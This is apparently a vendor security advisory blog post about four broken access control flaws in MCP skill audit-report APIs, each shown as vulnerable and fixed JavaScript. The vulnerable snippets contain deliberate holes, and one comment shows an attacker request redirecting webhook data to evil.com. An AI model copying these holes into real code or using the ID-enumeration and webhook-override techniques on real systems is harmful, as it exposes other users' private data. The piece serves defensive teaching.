← Blog

Claude MCP skill broken access control via insecure direct object reference in audit report endpoints — SA-SKL-AUTH7

Insecure Direct Object Reference (IDOR) vulnerabilities occur when an API endpoint uses a user-controlled identifier — typically a sequential integer — to retrieve a resource without verifying that the requesting user owns or is authorized to access that resource. In MCP skill audit platforms, audit reports contain sensitive information: source code findings, security vulnerability details, proprietary skill implementation patterns, and business logic. Without proper authorization checks on every audit report endpoint, an attacker who obtains or guesses an audit ID can read reports belonging to other organizations, export bulk data via the export endpoint, or redirect webhook delivery to an attacker-controlled URL. SA-SKL-AUTH7 covers four IDOR and broken access control patterns specific to MCP skill audit report endpoints.

By SkillAudit  |  9 Nov 2026
SA-SKL-AUTH7 findings at a glance
CRITICALAUTH7-001 — GET /api/audits/:id — id is a sequential integer; endpoint returns audit report to any authenticated user regardless of ownership; attacker increments id to enumerate and read all other users' audit reports including source code findings
HIGHAUTH7-002 — Audit report shared link uses token computed as SHA1(auditId + userId) — both values are predictable (sequential IDs from API, userId from profile URL); attacker computes valid share tokens for any report without authentication
CRITICALAUTH7-003 — Bulk export endpoint /api/audits/export?ids=1,2,3 adds WHERE userId = ? only on the first id check; subsequent ids in the array are fetched without ownership validation; attacker exports any audit reports by mixing their own id with target ids in a single request
HIGHAUTH7-004 — Audit webhook re-delivery reads the delivery URL from the report payload field webhookOverride rather than from the org's stored webhook settings; attacker submits an audit including a webhookOverride field pointing to an attacker-controlled server; the platform delivers all subsequent audit events to that URL

AUTH7-001 — Sequential integer audit ID with missing ownership check

The most common form of IDOR: the API uses a sequential integer primary key as the resource identifier in the URL path, and the authorization middleware verifies only that the user is authenticated (has a valid session), not that they own the requested resource. An attacker who runs one audit gets back an audit ID of, say, 10543. They then iterate through 10542, 10541, 10540, etc., reading every other user's audit report in reverse chronological order. No brute force is needed — the IDs are sequential and entirely predictable.

// VULNERABLE — AUTH7-001
// GET /api/audits/:id — only checks authentication, not ownership.
// Any authenticated user can read any audit by guessing sequential IDs.

app.get('/api/audits/:id', requireAuth, async (req, res) => {
  const audit = await db.query('SELECT * FROM audits WHERE id = ?', [req.params.id]);
  if (!audit) return res.status(404).json({ error: 'Not found' });

  // VULNERABLE: No ownership check — returns any user's audit to any authenticated user
  res.json(audit);
});
// FIXED — AUTH7-001
// Fix 1: Add ownership check — return 403 if audit.userId !== req.user.id.
// Fix 2: Use UUIDs instead of sequential integers for resource IDs (defense-in-depth).
// Fix 3: Org-scoped check for team accounts — check audit.orgId === req.user.orgId.

app.get('/api/audits/:id', requireAuth, async (req, res) => {
  const audit = await db.query('SELECT * FROM audits WHERE id = ?', [req.params.id]);
  if (!audit) return res.status(404).json({ error: 'Not found' });

  // FIX 1: Ownership check — return 403, not 404 (don't leak existence to unauthorized users)
  if (audit.userId !== req.user.id && audit.orgId !== req.user.orgId) {
    return res.status(403).json({ error: 'Access denied' });
  }

  res.json(audit);
});

Detection: SkillAudit's taint analysis checks for route handlers that look up records by user-controlled path parameters (req.params.id) without a subsequent ownership check comparing the returned record's userId or orgId against the authenticated user's identity.

AUTH7-002 — Predictable SHA1 share token for audit report links

Many audit platforms implement "shareable report links" that allow recipients to view an audit report without logging in. The correct implementation generates a cryptographically random token stored in the database alongside the audit. A broken implementation computes the token from the audit ID and user ID — both of which are obtainable from API responses and profile URLs — using a deterministic hash function like SHA1. Any attacker who knows (or can enumerate) audit IDs and user IDs can pre-compute valid share tokens for any report.

// VULNERABLE — AUTH7-002
// Share token computed as SHA1(auditId + userId) — both values are predictable.
// auditId: sequential integer from API response
// userId: visible in profile URL /users/4521
// Attacker computes SHA1("10543" + "4521") = valid share token for any user's audit.

import crypto from 'crypto';

function generateShareToken(auditId, userId) {
  // VULNERABLE: deterministic token from predictable inputs
  return crypto.createHash('sha1').update(auditId + userId).digest('hex');
}

app.get('/api/audits/:token/share', async (req, res) => {
  const { auditId, userId } = decodeToken(req.params.token);  // decode from token
  const expected = generateShareToken(auditId, userId);
  // VULNERABLE: attacker computed expected before making the request
  if (req.params.token !== expected) return res.status(403).json({ error: 'Invalid token' });
  res.json(await getAudit(auditId));
});
// FIXED — AUTH7-002
// Fix: Generate share token with crypto.randomBytes(32) — store in DB alongside audit.
// Token is opaque, 256-bit random — not derivable from any public information.

import crypto from 'crypto';

async function generateShareToken(auditId) {
  // FIX: Cryptographically random, unguessable token stored in DB
  const token = crypto.randomBytes(32).toString('hex');
  await db.query('UPDATE audits SET share_token = ?, share_enabled = 1 WHERE id = ?',
    [token, auditId]);
  return token;
}

app.get('/share/:token', async (req, res) => {
  // FIX: Lookup by token in DB — constant-time comparison via DB unique index
  const audit = await db.query(
    'SELECT * FROM audits WHERE share_token = ? AND share_enabled = 1',
    [req.params.token]
  );
  if (!audit) return res.status(404).json({ error: 'Not found' });
  res.json(audit);
});

AUTH7-003 — Bulk export endpoint checks ownership on first ID only

Bulk export endpoints that accept a comma-separated list of IDs are a frequent source of IDOR. The authorization bug pattern is: the application validates the first ID in the list against the user's ownership, then fetches all IDs in a single WHERE id IN (?) query without re-applying the ownership filter. The attacker submits their own audit ID as the first element (passes the ownership check) and appends target IDs for other users' audits. The bulk query returns all of them.

// VULNERABLE — AUTH7-003
// Bulk export checks ownership only on the first ID, then fetches all.
// Attacker sends: ids=10543,1,2,3,4,5 (10543 is theirs; 1-5 are other users' audits)

app.get('/api/audits/export', requireAuth, async (req, res) => {
  const ids = req.query.ids.split(',').map(Number);

  // VULNERABLE: only checks the first ID against the authenticated user
  const firstAudit = await db.query('SELECT userId FROM audits WHERE id = ?', [ids[0]]);
  if (!firstAudit || firstAudit.userId !== req.user.id) {
    return res.status(403).json({ error: 'Access denied' });
  }

  // VULNERABLE: fetches ALL ids without ownership filter — includes other users' audits
  const audits = await db.query('SELECT * FROM audits WHERE id IN (?)', [ids]);
  res.json(audits);
});
// FIXED — AUTH7-003
// Fix: Apply userId filter to ALL ids in the WHERE clause.
// Use parameterized query with both id list and userId constraint.

app.get('/api/audits/export', requireAuth, async (req, res) => {
  const ids = req.query.ids.split(',').map(Number).slice(0, 100); // cap at 100

  // FIX: Apply ownership filter to ALL ids in one query
  const audits = await db.query(
    'SELECT * FROM audits WHERE id IN (?) AND userId = ?',
    [ids, req.user.id]
  );

  // Return only audits the user owns — silently omits unauthorized ones
  res.json(audits);
});

AUTH7-004 — Webhook delivery URL overridden from report payload

Audit platforms that allow re-delivery of webhook events sometimes look up the delivery URL from the audit report's own payload rather than from the organization's saved webhook configuration. This is dangerous because the report payload is user-controlled: the attacker submits an audit request including a webhookOverride field. When the platform processes the audit and fires the delivery event, it reads the delivery URL from the report payload and delivers to the attacker's server instead of the organization's configured endpoint.

// VULNERABLE — AUTH7-004
// Webhook delivery reads URL from audit report payload field, not from org settings.
// Attacker submits: POST /api/audits { skillUrl: "...", webhookOverride: "https://evil.com" }
// Platform delivers all audit events to evil.com.

async function deliverAuditWebhook(audit) {
  const org = await getOrg(audit.orgId);

  // VULNERABLE: delivery URL taken from audit payload, not org settings
  const deliveryUrl = audit.webhookOverride || org.webhookUrl;

  if (!deliveryUrl) return;
  await fetch(deliveryUrl, {
    method: 'POST',
    body: JSON.stringify(audit),
    headers: { 'Content-Type': 'application/json' },
  });
}
// FIXED — AUTH7-004
// Fix: Always use the delivery URL from org settings — never from report payload.
// Report payload is user-controlled; org settings are admin-controlled.

async function deliverAuditWebhook(audit) {
  const org = await getOrg(audit.orgId);

  // FIX: Delivery URL sourced exclusively from org settings
  const deliveryUrl = org.webhookUrl;
  if (!deliveryUrl) return;

  // FIX: Re-validate delivery URL before firing (guards against stale saved URLs)
  await validateWebhookUrl(deliveryUrl);

  await fetch(deliveryUrl, {
    method: 'POST',
    body: JSON.stringify({ auditId: audit.id, score: audit.score, status: audit.status }),
    headers: { 'Content-Type': 'application/json', 'X-SkillAudit-Delivery': audit.id },
    signal: AbortSignal.timeout(10000),
  });
}

Summary — SA-SKL-AUTH7 at a glance

PatternRoot causeFixSeverity
AUTH7-001Sequential integer audit ID; endpoint authenticates but does not check ownership; any user reads any auditAdd WHERE id = ? AND userId = ? or post-fetch ownership check returning 403 on mismatchCritical
AUTH7-002Share token = SHA1(auditId+userId) — deterministic from predictable public values; attacker pre-computes tokens for any usercrypto.randomBytes(32) share token stored in DB; lookup by token onlyHigh
AUTH7-003Bulk export checks ownership on first ID only; bulk query fetches all IDs without userId filter; mixed ID attack exfiltrates other users' auditsWHERE id IN (?) AND userId = ? applies ownership filter to all IDs in one queryCritical
AUTH7-004Webhook delivery URL read from audit report payload field webhookOverride; attacker controls payload; delivery redirected to attacker serverAlways read delivery URL from org settings; never from report payloadHigh
SkillAudit

Does your MCP skill's audit report API enforce ownership on every endpoint?

SkillAudit scans for missing ownership checks on resource endpoints, predictable share tokens, partial bulk-query authorization, and webhook delivery URL sources — before an attacker enumerates your users' private audit reports.

Audit your MCP skill →